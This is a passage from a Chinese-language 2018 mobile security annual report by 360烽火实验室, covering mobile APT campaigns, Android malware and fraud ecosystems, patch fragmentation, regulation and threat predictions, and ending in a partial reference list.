|
介绍黄金鼠组织（APT-C-27）对叙利亚地区的攻击活动[43]。
2018.7.17
|
360烽火实验室
|
发现黄金鼠组织（APT-C-27）Android恶意样本携带PE攻击样本诱导感染PC平台的实例[44]。
2018.9.7
|
Check Point
|
国外安全厂商发现伊朗政府通过移动恶意软件监控内部持不同政见者和反对派力量，以及伊斯兰国的倡导者和主要在伊朗西部定居的库尔德少数民族[45]。
2018.9.7
|
360烽火实验室
|
介绍针对伊朗长达两年的间谍活动，伪装的Android恶意软件带有伊朗宗教特色[46]。
2018 BlackHat
|
Lookout
|
黄金鼠组织（APT-C-27）国外安全厂商认为是中东某国电子军对反对派的监控活动[47]。
表9 2018年中东地区部分国家受到的移动端攻击相关活动
### 四、移动端成为新的攻击入口
与传统的PC相比移动APT有更多特有的攻击入口，同时受到移动平台自身多种原因的限制，移动端保护能力弱安全性低，对于一些攻击诱饵普通用户更加难以甄别，使得移动端攻击比PC端受攻击面更广，攻击成功率更高。
2018年从公开披露的APT报告中，攻击入口占比最大的是Google
Play（26.7%），其次是SNS网络（16.7%）、IM即时通讯软件（13.3%）、钓鱼网站（13.3%）、第三方市场（6.7%）、漏洞利用（6.7%）、网盘（6.7%）、电子邮件（6.7%）和短信（3.3%）。
图3.1 2018年移动高级威胁（APT）植入方式占比
从数据可以看出，攻击者不断地寻找新的方法来为他们的恶意APP增加合法性。他们将恶意应用上传到Google
Play，再通过社交网络和钓鱼网站进行分发，由于用户对于Google Play的信任会毫不犹豫的去下载安装，从而使攻击者钓鱼攻击变得更加成功。
另一方面，我们也可以数据看出漏洞利用也有一定占比。在今年曝光的Operation
Blackbird攻击中，攻击者使用了三星CVE-2015-7888的路径遍历漏洞获取系统权限植入恶意模块。除此以外，Group
123还在攻击中使用了CVE-2015-6764浏览器内核漏洞，通过JS去安装任意APP。攻击者在攻击目标设备上成功植入后，通过漏洞可以进行横向移动，不仅扩大了攻击范围，同时也大大增强了持久性。
## 移动平台黑灰产业生态
近年来，网络安全产业步入发展的崭新阶段，产业规模快速增长。公开数据显示，2017年我国网络安全产业规模达到439.2亿元，较2016年增长27.6%，预计2018年达到545.49亿元。而黑灰产业比安全产业发展得更为野蛮。有业内人士认为，黑灰产业已达千亿元规模，网络黑灰产所带来的安全挑战愈加严峻。灰产游走在法律边缘，法无禁止即可为；黑产则触及法律的红线，利用互联网技术进行偷盗、诈骗、敲诈等各类违法犯罪案件频繁发生，围绕互联网衍生的黑灰产行业正在加速蔓延。
2018年，移动平台各种形式的黑灰产业不断浮出水面，我们对此进行了持续的跟踪和揭露。就目前移动平台移动黑灰产业生态结构而言，我们围绕流量获取分发、流量变现盈利和数据信息安全三个方面来分析目前移动平台黑灰产业生态现状。
### 一、流量获取分发相关产业生态
流量的获取和分发是互联网尤其是移动互联网最基本的入口，所有的业务和应用都架构在流量经济之上。流量作为一个基础性服务，采购和获取用户流量是移动黑灰产业中最重要的一环。2018年，围绕流量获取分发的黑灰产业主要体现在供应链中的手机分销渠道环节。
**(一) 分销渠道预置木马感染国内多款手机**
2018年3月，国外安全厂商发现国内多款手机被安装了一个被命名为“RottenSys”[48]的手机恶意推广软件，从2016年至今累计感染量达到百万级别，引起科技媒体广泛关注。
我们在进行相关技术分析后，确认“RottenSys”主要是通过一家名为“Tian
Pai”的电话分销平台来进行传播的，攻击者在该环节上通过“刷机”或APP（再Root）的方式，在手机到达用户手中前，在目标上安装部分RottenSys恶意软件，从而达到感染传播的效果。
“RottenSys”在感染了国内众多Android手机后，会伪装成“系统WIFI服务”等应用，并通过不定期给用户推送广告或指定的APP来获取利益，给Android手机用户造成了一定的困扰。
图片来自https://research.checkpoint.com/rottensys-not-secure-wi-fi-service/
图4.1 RottenSys感染的手机品牌情况
**(二) 小众品牌预置木马销往中小城市**
2018年4月，我们监测到StealthBot[49]恶意软件家族今年一月开始出现，截止到四月中旬，短短三个多月的时间里累计感染量超过400万，与一般的大规模感染情况不同的是，StealthBot感染的手机品牌多达150余个并且集中在小众手机品牌，感染地区避开了一、二线大城市主要集中在国内的中小城市。
在对StealthBot整个感染链的分析中发现，两家北京某科技公司参与制作，杭州和深圳两家公司参与传播，我们监测到主要是通过供应链攻击的方式在用户使用手机前预置到这些小众品牌的手机系统中。
小众品牌手机价格低廉，手机厂商采用多种手段收集用户流量，甚至预置恶意软件，来弥补自己小众手机品牌市场份额。此次事件影响的目标机型集中在众多中小品牌手机，具有很强的针对性；同时倾销地也指向三四线中小城市，具有很强的隐蔽性难以被发现。
图4.2 StealthBot感染的手机品牌Top20
### 二、流量变现盈利相关产业生态
流量变现是获取流量最终目的，移动平台几类常见的盈利模式如广告、导流网站、应用市场、佣金分成以及增值付费服务。对于黑灰产业来说，由于监管等因素一般生存周期较短，能够快速将流量变现盈利，是最根本的生存法则。
**(一) 提速降费下的免流软件生态**
由于国内移动数据流量并不便宜，移动互联的发展推动数据流量使用量攀升，使得部分人群开始寻求廉价甚至免费的流量获取方法，免流软件应运而生并快速传播开来。免流软件即安装后可以让用户在移动运营商网络下免流量或减少流量访问互联网的软件。一些流量巨头企业与运营商合作推出了定向流量包，与之不同的是免流的黑灰产业一般是不法分子通过技术手段，伪造网络请求欺骗运营商计费检测系统。
从我们统计的数据看，各类免流软件共计20余万个，使用人群高达几百万人，巨大的软件数量与使用人数进一步印证免流软件拥有着不小的市场。在一个免流QQ群中提供的分销、加盟价格表。
图4.3 免流QQ群拿货价格表
围绕免流QQ群的免流软件生态角色分工及资金流。
图4.4 免流软件生态角色分工中的信息流（蓝色）与资金流（红色）
“取消流量漫游费，移动网络流量资费年内至少降低30%”，这是2018年《政府工作报告》中承诺的工作重点之一。毫无疑问，在国家政策的巨大福利下，国内流量资费将进一步降低，对于免流黑灰产业将受到重创无法维持生存，免流黑灰产参与者将会分散到其他黑灰产业。
**(二) 薄利多销下的代刷软件产业**
围绕UGC（User Generated
Content），即用户将自己原创的内容通过互联网平台进行展示或者提供给其他用户，每个人都有了从草根到意见领袖的可能性。移动互联网流量经济下，意见领袖很大程度上存在经济收益的可能性，如微博大V的广告，直播平台粉丝打赏，代刷软件就是在这种背景下应运而生。代刷软件是指通过特定手段提高特定账户粉丝量、访问量或挂机时间等量化指标，或者获取特定权限的软件。常见的代刷软件可分为刷量、刷会员与代挂三种。
通过对大量Android代刷软件进行分析后发现，绝大多数代刷软件都是由Web代刷网站转化而来。代刷软件实质与Web代刷网站一样，都只是一个为用户提供下单购买功能的下单平台，并不包含实际的刷量逻辑。用户通过代刷软件提交订单后，代刷软件会将订单请求传递至代刷网站，代刷网站随后在后台进行统一处理，并将刷量请求传递给真正实现代刷功能的供货商代刷后台。
代刷产业是一种十分依赖于推广扩散来盈利的产业，一方面，在商家泛滥的代刷市场，推广程度会影响商家知名度，而知名度会直接影响用户数量；另一方面，主站与高级分站会从下级分站的收益中抽成，由主站与高级分站扩散出的下级分站越多，其收益越高。
代刷业务以价格低廉的特点吸引了大量用户，而实际上，代刷走的是“薄利多销”的路线，再加上代刷网站或软件的开发与维护成本极低，一个流行代刷主站的获利往往十分可观。通过长期跟进多个流行主站与分站，我们汇总出了部分代刷网站的盈利情况，主站的日平均利润在数十元至上千元不等。
图4.5部分代刷网站收益情况
下图为某代刷网站分站的内部价格表。
图4.6分站内部价格表
**(三) 数据作弊下的应用推广渠道**
为了保障应用的下载和使用数量，APP厂商通常会通过第三方渠道来进行宣传推广，吸纳更多的用户。如何获取到万级、十万级甚至是百万级的用户并且还是在成本可控的范围内是APP推广阶段遇到的最大问题。
随着移动互联网创业成本的高涨，真正从通过市场宣传等正规渠道带来的用户越来越少，这使得传统的APP推广的优质渠道价格水涨船高。在这种形势下APP推广刷量产业链应运而生，既帮助APP做好面子工程，达成其想要的效果，又能赚取高额的推广费用。
2018年9月，我们监测到名为“SensorService”的应用存在异常行为，分析发现其通过某广告SDK传播，安装后无图标，并且伪装成系统服务，利用系统漏洞进行提权，接收云端服务器控制命令进行静默安装推广应用、刷量等恶意操作[50]。其首次推广后还会在后面连续的几天里再次启动推广应用伪造推广的APP留存，从而获取推广收益。
图4.7某推广平台的应用推广价目表及规则
### 三、数据信息安全相关产业生态
数据信息安全相关产业与流量获取分发、流量变现盈利产业不同，如果说流量获取分发和流量变现盈利更多的属于黑灰产中的灰产，那么数据信息安全相关产业更多的是数据窃取、敲诈勒索和网络诈骗等黑产。
**(一) 利用恶意软件实施电信诈骗犯罪全球化**
每年全国各地都会发生大量电信诈骗案件，使受害人蒙受大量的财产损失，电信诈骗已经成为全社会关注的信息安全焦点问题，危害极为严重。公民的个人信息泄露成为电信诈骗犯罪的基础条件，结合移动互联网的发展，电信诈骗技术和手段不断变化，诈骗目标更加精确。
手机中存储着用户的大量隐私信息，并且时常同用户的资金绑定在一起。通过植入移动恶意软件不法分子能够控制用户的手机，一方面能够对用户的隐私有完全的获取能力，另一方面也获得了对用户资金的控制能力。
早在2016年，我们就深入分析了国内冒充公检法的跨平台电信诈骗活动，不法分子向受害者手机发送包含恶意软件下载链接的信息，以获取“案件号”、“单位代号”、“电子凭证”为由诱骗受害者点击链接，下载安装恶意软件以此来获得受害者手机的控制权。
2018年我们监测到针对韩国用户的电信诈骗活动[51]，恶意软件伪装成韩国金融行业相关应用，通过窃取短信信息，拦截电话短信，伪造通话记录，并伪造拨号界面对特定的号码进行拦截转拨实施诈骗，受害者在整个过程中基本无感知。由于跨境网络电信诈骗增加了侦查取证难度，使得电信诈骗犯罪呈现全球化趋势。
图4.8 伪造拨号界面
**(二) 社交网络下的新型钓鱼诈骗犯罪模式**
近几年网贷平台数量在国内迅速增长，与传统贷款方式相比，网贷一般为无抵押贷款，门槛低，渠道成本低，交易便捷，已成为了一种潮流趋势。因此，利用贷款名目进行网络诈骗的情况也呈上升趋势。
不法分子通过电话短信等方式联系用户，通过一定的话术吸引用户，将用户引导到QQ，微信社交软件后提供虚假贷款网站或者虚假贷款APP，在用户提交相关信息后，常以各种理由要求用户交纳相应的贷款费用，最终以账号冻结、网站的升级等名义掩饰诈骗行为。
我们研究发现这类虚假贷款网站或者虚假贷款APP从代码、页面布局、访问的网址都有明显的相似性，带有明显的批量制作特征。同时，我们还发现受骗人群集中在80后到90初，一方面对于移动互联网上的新事物新思想接受较快；另一方面他们已经有一定的经济能力，但在事业家庭上又处于上升期，因此对于财富的增长需求比较强烈。
图4.9 虚假贷款APP界面展示
### 四、移动平台黑灰产业特征与趋势
2018年，移动平台黑灰产业呈现一些特征，首先是依托互联网巨头的产品生态而生存；其次，黑灰产之所以如此发达且从业人员众多，就在于它非常具有互联网特色，能够精准地抓住用户的心理诉求和痛点，它会观察最新的产业热点，利用人工智能，不断更新骗术。
同时，技术灰黑产已经成为网络犯罪的技术支撑，组织方式上出现了非常明显的变化。一是黑灰产业链更清晰，各环节之间的合作更紧密。二是黑灰产业正在从粗放式的生产模式走向精加工模式开始走向大数据，走向数据挖掘，走向人工智能。三是黑灰产业逐渐呈现国际化特征，对象的选择也开始从企业到个人，被侵害对象的防范能力在降低。
## 协同联动共建大安全生态环境
2018年4月，习主席在全国网络安全和信息化工作会议上强调指出，要提高网络综合治理能力，形成党委领导、政府管理、企业履责、社会监督、网民自律等多主体参与，经济、法律、技术等多种手段相结合的综合治网格局。要落实关键信息基础设施防护责任，行业、企业作为关键信息基础设施运营者承担主体防护责任，主管部门履行好监管责任。要依法严厉打击网络黑客、电信网络诈骗、侵犯公民个人隐私等违法犯罪行为，切断网络犯罪利益链条，持续形成高压态势，维护人民群众合法权益。要深入开展网络安全知识技能宣传普及，提高广大人民群众网络安全意识和防护技能。
### 一、严峻的系统环境
**(一) 系统漏洞情况**
Android系统开源就意味着在安全问题上显得更加透明，运用工具审查安全漏洞变得更容易。根据汇总CVE数据的网站出具的2018年度CVE
Details报告显示[52]，Android系统以611个漏洞位居产品漏洞数量第二名，与2017年842个相比略有减小，下降27.4%，与2016年相比增加16.6%，仍然处在漏洞榜前列。
图5.1 2018年CVE网站产品漏洞数量TOP排名情况
**(二) 系统更新情况**
Google每次发布Android新版本，对系统安全性都有所增强，但是由于Android系统碎片化严重，系统版本更新速度慢，系统安全环境整体提升受到影响。
截止2018年10月，Google发布的Android系统版本分布统计[53]，Android Nougat（Android
7.0/7.1）达到28.2%，占比第二的是Android Oreo（Android 8.0/8.1）总占比已达21.5%，而最新系统版本Android 9
Pie不足0.1%。
图片来自https://developer.android.com/about/dashboards/
图5.2：截止2018年10月Android系统版本分布占比情况
**(三) 厂商漏洞修复情况**
Android操作系统目前仍未有非常完善的补丁机制为其修补系统漏洞，再加上Android系统碎片化严重，各手机厂商若要为采用Android系统的各种设备修复安全问题则需投入大量人力物力。受到Android系统的诸多特性的影响，系统版本的碎片化问题日益突出。就每一款手机而言，厂商在其维护周期内，通常会隔一段时间向用户推送一次升级版本，而用户在大多数情况下可以自主选择升级或不升级。综合这些特性，在Android系统的安全漏洞方面，也产生了严重的碎片化问题。
根据《2018年安卓系统安全性生态环境研究》报告数据[54]，下图为各厂商手机中实际存在的安全补丁级别情况，该情况是将各厂商现存手机中实际补丁日期与谷歌官方最新版本（2018年12月）版本对比，综合安全补丁级别最高、最新的手机品牌前5名。图中绿色方块面积越大，说明该厂商的手机补丁级别相对越高，漏洞修复相对越及时；相反，如果黄色和橙色面积越大，则说明补丁级别越低，漏洞修复越滞后。
图5.3 2018年各品牌现存用户安卓系统实际补丁日期分布
图中我们可以看出，在及时推送安全补丁级别方面，TOP5的厂商在本季度的检测结果显示较好，而且在本季度的调研中这五个厂商均有保持与谷歌最新安全补丁同步的更新提供，这也显示了厂商对于用户手机中安全补丁等级的逐步重视。
### 二、系统厂商自我约束
作为系统厂商Google会定期更新开发者政策，以便为Google Play上的开发者和消费者保持安全和积极的体验。在最近一次更新中，Google
Play禁止使用设备计算资源挖掘加密货币的APP上架，但“远程管理加密货币”的APP仍然是允许的[55]。挖矿活动会对设备的性能产生巨大影响，在某些情况下，它还可能因过热或损坏电池而损坏设备。这一改变意味着Google将开始从Google
Play中，删除任何使用设备的CPU或GPU进行加密货币挖矿操作的APP。
安全性和性能方面，从2018年11月1日起，Google Play要求对现有APP进行更新[56]，以达到API级别26 (Android
8.0)或更高级别，确保Google Play上的所有APP都是使用最新的APl构建的，这些APl针对安全性和性能进行了优化。
在用户隐私保护方面，针对请求短信和通话记录权限的APP，只有设置为默认呼叫或短信的应用才能访问电话和短信数据。同时Google也推荐了替代方案，例如，SMS
Retriever API可以执行基于短信的用户验证，SMS
Intent填充默认的短信以共享内容或邀请。对于需要访问短信和通话记录权限的开发人员需要在规定时间内填写权限声明表单，根据该表单Google审查其应用，以确保他们在获得用户许可后确实需要访问敏感信息。对于未提交权限声明表单的应用开发者，将从Google
Play中删除其APP。
### 三、政府监管与信息举报
**(一) 处置淫秽色情**
2018年4月，为切实净化网络文化环境，加大网上“扫黄打非”工作力度。全国“扫黄打非”办公室作出专门部署，深入开展“净网2018”行动[57]。各地“扫黄打非”部门全面开展监测和清查，及时处置淫秽色情等有害信息突发传播情况，督促主要互联网企业落实主体责任加强内容审核、主动清理有害信息，从快从严查办了一大批网络行政或刑事案件。
根据360烽火实验室监测，仅从色情播放器APP数量上看，从4月开始出现逐渐下降，在9月出现了明显的大幅下降，由此可见政府相关部门的打击活动，起到了一定效果。
图5.4 2018年色情播放器软件数量变化趋势
**(二) 整治骚扰电话**
2018年7月，工信部等13个国家部门联合发布《综合整治骚扰电话专项行动方案》，决定自2018年7月起到2019年12月底，在全国范围内组织开展为期一年半的综合整治骚扰电话专项行动，重点对商业营销类、恶意骚扰类和违法犯罪类骚扰电话进行整治[58]。
方案提出了五个方面的重点工作，首先是严控骚扰电话传播渠道，包括加强语音线路和码号资源管理、加强电话用户合同约束、全面规范营销外呼业务、全面清理各类骚扰软件（呼死你等）。同时，方案要求全面提升技术防范能力，包括强化主叫号码鉴权和通话溯源、提升骚扰电话拦截能力（+86虚拟境外号码/响一声/呼死你）、增强骚扰电话提醒和预警能力、增强骚扰电话综合管控能力，并规范重点行业商业营销行为。
方案特别强调要依法惩处违法犯罪、健全法规制度保障，集中侦破一批利用电话实施诈骗、敲诈勒索、虚假广告宣传等违法犯罪案件。对明知从事违法犯罪活动，仍提供网络、技术、线路等服务的企业和人员依法严惩。集中侦破一批侵犯公民个人信息犯罪案件。依法严厉打击各行政机关和电信、金融、医疗、教育、物业、物流、寄递等重点单位工作人员非法出售或者向他人提供公民个人信息的违法犯罪行为。
**(三) 关停下架违规应用**
2018年12月，国家网信办会同有关部门针对网民反映强烈的违法违规、低俗不良APP程序乱象，集中开展清理整治专项行动，依法关停下架“成人约聊”“两性私密圈”“澳门金沙”“夜色的寂寞”“全民射水果”等3469款涉黄涉赌、恶意扣费、窃取隐私、诱骗诈骗、违规游戏、不良学习类APP[59]。
针对媒体重点曝光的以中小学生为用户对象的学习类APP，屡次出现涉黄内容、网络游戏等乱象责令整改，并处以罚款。同时，教育部也印发了《关于严禁有害APP进入中小学校园的通知》，要求全面排查坚决杜绝有害APP侵蚀校园，未经备案审查的学习类APP禁止在校园内使用。
**(四) 网络诈骗信息举报**
2018年，猎网平台共收到有效诈骗举报21703例，举报者被骗总金额超过3.9亿元，人均损失24476元，创近五年新高，较2017年人均损失增幅69.8%。
图5.5 2014-2018年网络诈骗举报数量及人均损失
2018年，金融理财诈骗是举报数量最多的网络诈骗，共获得举报2985例，其次为虚假招聘诈骗2570例，网游交易诈骗2297例。
人均损失方面，损失最严重的也为金融理财诈骗，人均损失金额70985元，其次为赌博博彩诈骗，人均损失金额为65861元。身份冒充类诈骗人均损失26700元，排在第三位。
图5.6 2018年网络诈骗主要类型举报量及人均损失
### 四、警企协同打击网络犯罪
截至目前，360猎网平台已与全国800个地区的公安机关建立联系，共协助侦破、带破逾600余起重大网络诈骗犯罪案件，涉案金额达3亿元，抓获犯罪嫌疑人超过700人，打掉60余个组织严密、分工明确的大型诈骗团伙，多次获得公安机关认可和表彰致谢。
其中，仅2018年，360猎网平台就协助公安机关侦破、带破400余起重大网络诈骗犯罪案件，涉案金额1.2亿元，抓获犯罪嫌疑人超过240余人。
截至目前，共5家网安和144余家互联网企业成员正式加入猎网联盟，360公司一共向联盟企业推送4289条诈骗欺诈信息。
同时，2018年360烽火实验室在涉及移动平台的网络犯罪案件侦办中，实验室通过溯源等分析手段，协助公安机关找到恶意软件作者QQ号1.6万余个，手机号及邮箱线索1.2万余条，案件涉及的恶意软件分析报告15篇以及提供6次溯源分析。
## 威胁趋势预测
### 一、5G时代到来物联网安全问题凸显
2018年2月，ADB.Miner感染了部分智能电视盒子，利用智能电视进行挖矿活动。2018年3月，日本媒体报道了大量日本用户的路由器设置被劫持，将用户重定向到恶意IP地址，下载安装恶意软件。2018年5月，亚马逊Echo音箱被曝“监听”用户，并将悄悄录下的对话发给了他人。2018年9月，手持终端巴枪被植入恶意软件，菜鸟驿站1000万条快递数据被非法窃取。
多个机构预测，预计十三五期间，我国设备联网数量将突破17亿。物联网规模急剧扩大，其威胁因子也正急速增加。另一个不可忽视的风险因素则在于5G的迅速发展，毫无疑问，2019年将成为5G加速发展的一年。未来，会有越来越多的5G物联网设备直接连接至5G网络，而非通过Wi-Fi路由器。然而，这一趋势将使设备更容易遭到攻击，以家庭用户为例，物联网设备会跳过核心路由器，从而难以进行监控。此外，在云端备份或传输数据情况也会为攻击者提供大量的新的攻击目标。
### 二、基于内容的诈骗活动将成为主流趋势
2019年1月，我们发布了《移动平台新型诈骗解析》报告[60]，报告对用户2018年在移动平台遭受诈骗的案例进行了梳理分类，我们发现基于内容的诈骗活动尤为突出。主要表现在诈骗者通过电话、短信等方式联系用户，以“贷款”、“理财”、“赌博”、“私彩”等类型的APP设置骗局，在APP页面上通过一定的虚假宣传和提示，再配以诈骗者的诱导话术，骗取用户交纳相应费用实施诈骗活动。
在传播方面，这类软件具备一定的特征，比如，通过短信方式进行推广，短信信息中的链接备案信息可能与其提供的服务内容资质不符。通常不会直接获取到APP或者APP的下载地址，需要先联系网页上所谓的客服微信或者QQ号。客服提供的APP下载地址一般为第三方应用内测分发平台。这些特征能够绕过一些自动化安全检测流程，增强迷惑性，近一步增加用户的信任度。
此外，这类软件与以往的恶意软件性质不同，由于这类软件没有恶意行为，APP在诈骗过程中仅充当载体作用，所以依靠代码和行为的检测技术无法识别。这类诈骗活动说到底是更多的人与人之间的较量，将会成为未来移动平台诈骗的主流趋势。
### 三、“币圈”降温但攻击仍将继续
“眼见他起高楼，眼见他宴宾客，眼见他楼塌了！”用来形容2018年的虚拟货币最为贴切。以比特币（Bitcoin）为例，年初还在1万美元左右，年末已经不足4千美元。虽然虚拟货币价格大幅下降，但是围绕虚拟货币的攻击并没有停止。
图6.1 2018年比特币价格变化
2018年10月，我们发现利用剪卡板功能替换虚拟货币钱包地址的恶意软件，木马首先开启一个监听器，监听剪贴板的内容。然后，监控剪贴板里的内容和长度是否符合特定钱包地址格式。最后，如果符合目标格式就向服务器发送请求，获取对应的电子钱包地址进行替换。
除此以外，还发现了伪装成虚拟货币钱包的虚假APP，大部分虚假APP会展现大量广告并诱导用户下载广告软件，带来额外的安全风险。
结合今年在多个虚拟货币项目中发现的安全漏洞以及虚拟货币自身匿名性的特点，虽然虚拟货币价格大幅下降，但是安全事件还是会持续发生，勒索病毒、挖矿病毒、针对交易所，公链，合约的攻击会继续，也会有新技术手段出现。
### 四、社交网络下的传播链重建
近年来，除了Google
Play以外，越来越多的手机品牌都有自己的应用市场，由于监管部门一直以来在整治应用市场方面的努力，不仅在用户体验得到明显提升，APP安全方面也有了保障。由于应用市场在审核上越来越严格，使得一些不法分子不得不放弃借助应用市场传播，重新寻找新的传播渠道。
我们在一些APP中发现，要求用户必须分享到自己的QQ群才能使用软件功能并且对分享的QQ群数量和QQ群里的人数有明确要求，分享文字内包含了不法分子预先设置的QQ群号，诱导其他用户加群下载APP。
图6.2 诱导用户分享代码片段
这些APP名称大部分伪装成“破解”、“外挂”、“辅助”，都是使用一些简易语言开发制作。经过分析，实际上这类软件大部分并无实际功能，目的就是利用QQ群传播引导用户加群，恶意软件就藏在这些QQ群的共享文件夹里，从而达到不法分子利用社交网络传播恶意软件的新方式。这种方式传播成功率高，隐蔽性强，同时也成为一些羊毛党QQ群的引流方式，将会逐渐成为恶意软件传播的主要途径之一。
### 五、数据泄露推动隐私立法全球化
2018年用户数据泄露事件频发，Facebook被曝数据泄露8700万用户受影响、国内某知名连锁酒店1.3亿用户开房记录、某快递巨头3亿快递收寄人信息在暗网交易、某航空公司数千万用户数据在未获授权情况下不当取览等等。
一方面，数据泄露造成用户人身财产受到威胁，不法分子通过各种途径收集到人们被泄露出去的隐私，经过筛选分析用户特征，从事电信诈骗、非法讨债甚至绑架勒索等精准犯罪活动；另一方面，数据泄露对企业和国家造成的危害则是巨大的，如果是国家重点行业、领域的数据被泄露那不仅对企业来说是致命的，还会对国家安全造成严重威胁。
欧盟在2018年出台了《通用数据保护条例》(GDPR)，这为欧盟以外的国家颁布各种安全和隐私举措提供了借鉴。加拿大已实施类似GDPR的法律；巴西最近通过类似GDPR的隐私法律，并将在2020年开始生效；受到GDPR的启发，澳大利亚与新加坡也已颁布了72小时违规通知；印度也正在考虑实施类似的法律；在GDPR实施后不久，美国加利福尼亚州通过的隐私法被认为是美国迄今为止最严厉的隐私法。
全球其他国家也正在讨论GDPR的妥善性，亚太地区以此为参考，数据立法活动也将越来越多，澳大利亚及新加坡已经开始行动，我国也颁布了《中华人民共和国网络安全法》明确要加强对个人信息保护，各国政府都会趋向于推出更加严厉的数据安全政策法规，企业将在个人数据隐私保护上投入更多力量。未来几年，黑客、黑产攻击不会停止，但数据安全保护技术将加速推出，针对不断提升的安全与隐私需求，法律与监管行动会不断升级。
## 附录一：参考资料
[1]ADB.Miner安卓蠕虫的更多信息：https://blog.netlab.360.com/adb-miner-more-information/
[2]Kotlin：http://kotlinlang.org/
[3]First Kotlin-Developed Malicious App Signs Users Up for Premium SMS
Services：https://blog.trendmicro.com/trendlabs-security-intelligence/first-kotlin-developed-malicious-app-signs-users-premium-sms-services/
[4]Switcher:Android joins the‘attack-the-router’club：https://securelist.com/blog/mobile/76969/switcher-android-joins-the-attack-the-router-club/
[5]XLoader Android Spyware and Banking Trojan Distributed via DNS
Spoofing：https://blog.trendmicro.com/trendlabs-security-intelligence/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing/
[6]剪贴板幽灵：币圈的神偷圣手：http://blogs.360.cn/post/analysis_of_Clipper.html
[7]TeleRAT: Another Android Trojan Leveraging Telegram’s Bot API to Target
Iranian Users：https://unit42.paloaltonetworks.com/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/
[8]New Telegram-abusing Android RAT discovered in the
wild：https://www.welivesecurity.com/2018/06/18/new-telegram-abusing-android-rat/
[9]TeleSharp：https://github.com/MojtabaTajik/TeleSharp
[10]MysteryBot; a new Android banking Trojan ready for Android 7 and
8：https://www.threatfabric.com/blogs/mysterybot__a_new_android_banking_trojan_ready_for_android_7_and_8.html
[11]内网穿透——ANDROID木马进入高级攻击阶段：http://blogs.360.cn/360mobile/2016/12/01/analysis_of_dresscode/
[12]内网穿透——ANDROID木马进入高级攻击阶段（二）：http://blogs.360.cn/360mobile/2017/05/25/analysis_of_milkydoor/
[13]Android/TimpDoor Turns Mobile Devices Into Hidden
Proxies：https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/android-timpdoor-turns-mobile-devices-into-hidden-proxies/
[14]毒云藤（APT-C-01）军政情报刺探者揭露：http://blogs.360.cn/post/APT_C_01.html
[15]蓝宝菇 –
核危机行动揭秘：http://blogs.360.cn/post/%E8%93%9D%E5%AE%9D%E8%8F%87-%E6%A0%B8%E5%8D%B1%E6%9C%BA%E8%A1%8C%E5%8A%A8%E6%8F%AD%E7%A7%98.html
[16]Fake AV Investigation Unearths KevDroid, New Android
Malware：https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html
[17]Reaper Group’s Updated Mobile
Arsenal：https://unit42.paloaltonetworks.com/unit42-reaper-groups-updated-mobile-arsenal/
[18]Operation Rocket Man：https://blog.alyac.co.kr/1853
[19]Operation Blackbird：https://blog.alyac.co.kr/2035
[20]North Korean Defectors and Journalists Targeted Using Social Networks and
KakaoTalk：https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/north-korean-defectors-journalists-targeted-using-social-networks-kakaotalk/
[21]Malware on Google Play Targets North Korean
Defectors：https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malware-on-google-play-targets-north-korean-defectors/
[22]Operation Transparent
Tribe：https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
[23]Indian Military Personnel Targeted by “Operation C-Major” Information
Theft Campaign：https://blog.trendmicro.com/trendlabs-security-intelligence/indian-military-personnel-targeted-by-information-theft-campaign/
[24]Hacking Group Spies on Android Users in India Using
PoriewSpy：https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-group-spies-android-users-india-using-poriewspy/
[25]Stealth Mango and Tangelo: Nation state mobile surveillanceware stealing
data from military & government officials：https://blog.lookout.com/stealth-mango
[26]Deciphering Confucius’ Cyberespionage
Operations：https://blog.trendmicro.com/trendlabs-security-intelligence/deciphering-confucius-cyberespionage-operations/
[27]Confucius Update: New Tools and Techniques, Further Connections with
Patchwork：https://blog.trendmicro.com/trendlabs-security-intelligence/confucius-update-new-tools-and-techniques-further-connections-with-patchwork/
[28]肚脑虫组织（APT-C-35）移动端攻击活动揭露：http://blogs.360.cn/post/analysis-of-apt-c-35.html
[29]The Urpage Connection to Bahamut, Confucius and Patchwork
：https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/
[30]Targeted Attacks in the Middle East Using KASPERAGENT and
MICROPSIA：https://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/
[31]FrozenCell: Multi-platform surveillance campaign against
Palestinians：https://blog.lookout.com/frozencell-mobile-threat
[32]New GnatSpy Mobile Malware Family
Discovered：http://blog.trendmicro.com/trendlabs-security-intelligence/new-gnatspy-mobile-malware-family-discovered/
[33]Lookout finds new surveillanceware in Google Play with ties to known
threat actor targeting the Middle East：https://blog.lookout.com/desert-scorpion-google-play
[34]Ongoing Android Malware Campaign Targets Palestinians – Part
1：https://www.symantec.com/blogs/expert-perspectives/ongoing-android-malware-campaign-targets-palestinians-part-1
[35]Ongoing Android Malware Campaign Targets Palestinians – Part
2：https://www.symantec.com/blogs/expert-perspectives/ongoing-android-malware-campaign-targets-palestinians-part-2
[36]Hamas’ online terrorism：https://www.idf.il/en/articles/hamas/hamas-online-terrorism/
[37]Vipers, Falcons, and Droids: Apparent Link Between Arid Viper/Desert
Falcons and Recent Android Malware Targeting Israeli Military：https://www.ci-project.org/blog/2017/3/4/arid-viper
[38]mAPT ViperRAT Found in Google Play：https://blog.lookout.com/viperrat-google-play
[39]Infrastructure and Samples of Hamas’ Android Malware Targeting Israeli
Soldiers ：https://www.clearskysec.com/glancelove/
[40]GoldenCup: New Cyber Threat Targeting World Cup
Fans：https://www.symantec.com/blogs/expert-perspectives/goldencup-new-cyber-threat-targeting-world-cup-fans
[41]Google Play Users Risk a Yellow Card With
Android/FoulGoal.A：https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/google-play-users-risk-a-yellow-card-with-android-foulgoal-a/
[42]GlanceLove: Spying Under the Cover of the World
Cup：https://research.checkpoint.com/glancelove-spying-cover-world-cup/
[43]黄金鼠组织–叙利亚地区的定向攻击活动：https://ti.360.net/blog/articles/analysis-of-apt-c-27/
[44]移动端跨越攻击预警：新型APT攻击方式解析：http://blogs.360.cn/post/analysis-of-apt-c-27.html
